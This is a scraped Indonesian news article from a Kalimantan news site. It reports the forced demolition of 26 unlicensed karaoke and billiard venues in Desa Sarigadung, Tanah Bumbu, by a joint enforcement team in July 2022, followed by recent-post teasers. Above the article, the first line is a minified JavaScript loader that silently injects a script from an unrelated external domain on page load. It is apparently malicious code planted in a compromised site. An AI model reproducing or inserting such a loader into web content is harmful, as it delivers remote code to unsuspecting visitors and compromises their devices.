(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

Karaoke dan Biliar di Km 8 Desa Sarigadung Dibongkar Paksa Aparat Gabungan


KANALKALIMANTAN.COM, BATULICIN – Dilaporkan bikin resah oleh warga tempat hiburan karaoke dan biliar di KM 8 Desa Sarigadung, Kecamatan Simpang Empat, Kabupaten Tanah Bumbu, akhirnya dibongkar paksa petugas gabungan.

Menjadi perbincangan warga, tempat hiburan karaoke dan biliar tersebut dibongkar Satpol PP dan Damkar Tanah Bumbu (Tanbu).

Tempat hiburan karaoke dan biliar dikeluhkan karena aktivitas tempat tersebut meresahkan warga sekitar.

Aparat gabungan yang terdiri dari Satpol PP Damkar Tanbu, Polres Tanbu, Kodim Tanbu dan aparat desa melakukan pembongkaran karena beroperasi tanpa izin sah, pada Jumat (1/7/2022).

 

Baca juga  : Atasi Kesulitan Air Bersih Warga, Koramil Amuntai Tengah Bangun Menara Tandon Air

Penertiban dan pembongkaran tempat hiburan karaoke dan biliar tanpa izin tersebut, dipimpin langsung oleh Kasat Pol PP Damkar Tanbu Drs Anwar Salujang.

Tindakan tegas tehadap tempat hiburan malam tanpa izin itu menjadi langkah mendukung Tanah Bumbu menuju Serambi Madinah, seperti yang dicanangkan oleh Bupati Tanbu HM Zairullah Azhar.

Karaoke dan biliar itu sempat ditegur dengan memberikan surat peringatan kepada pemilik tempat, namun tidak diindahkan oleh pemilik warung sehingga Satpol PP Damkar bersama aparat gabungan melakukan eksekusi.

Kasatpol PP dan Damkar Tanah Bumbu, Drs Anwar Salujang mengatakan, pembongkaran sebagai tindak lanjut dari surat pernyataan yang telah diberikan kepada pemilik tempat hiburan tanpa izin, untuk melakukan pembongkaran sendiri dengan tenggat waktu selama 7 hari, akan tetapi tidak dilakukan oleh pemilik tempat hiburan.

 

Baca juga : Doa Bersama Lintas Agama HUT ke-76 Bhayangkara

“Kami bersama aparat gabungan dari TNI, Polri, pihak kecamatan dan aparat desa yang langsung melakukan eksekusi pembongakaran terhadap tempat hiburan tanpa izin tersebut,” jelas Kasatpol PP Tanbu.

Keberadaan tempat hiburan tanpa izin ini, sangat menganggu ketentaraman masyarakat, khususnya warga desa Sarigadung Kecamatan Simpang Empat dan jelas telah melanggar Perda.

“Jumlah tempat hiburan yang akan kami lakukan pembongkaran hari ini, sebanyak 26 buah tempat hiburan yang berada di Kilometer 8 Desa Sarigadung,” sebut Anwar Salujang.

“Apabila masih terdapat meja biliar maupun peralatan karaoke, maka akan kami angkut dan bawa ke kantor Satpol PP Damkar Tanah Bumbu untuk diamankan,” tegasnya. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor  : kk


Desy Arfianty

Recent Posts

Enam Pj Kades di Kecamatan Mantangai Dilantik

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 Penjabat (Pj) Kepala Desa… Read More

19 menit ago

Matangkan Layanan MPP, Pemkab Kapuas Gelar Forum Konsultasi Publik

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar forum konsultasi publik penyelenggaraan Mal Pelayanan Publik… Read More

1 jam ago

Bupati Kapuas Melantik 33 Pj Kades dan Enam Anggota BPD

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 orang Penjabat (Pj) Kepala… Read More

2 jam ago

Rencana Aksi Bersama Pengendalian Banjir Kawasan Banua Enam

Gubernur Kalsel: Percuma Rencana Kalau Tidak Dilakukan Read More

2 jam ago

Pemkab Banjar Raih Penghargaan dari MenPANRB

KANALKALIMANTAN.COM, JAKARTA – Keberhasilan Pemerintah Kabupaten Banjar dalam upaya mewujudkan tata kelola pemerintahan yang bersih… Read More

2 jam ago

ASN Bisa WFA dan Cuti Bersama hingga Dua Minggu, Begini Skemanya

KANALKALIMANTAN.COM, JAKARTA - Pemerintah menyiapkan kebijakan strategis bagi ASN dalam menghadapi lonjakan mobilitas masyarakat pada… Read More

10 jam ago

This website uses cookies.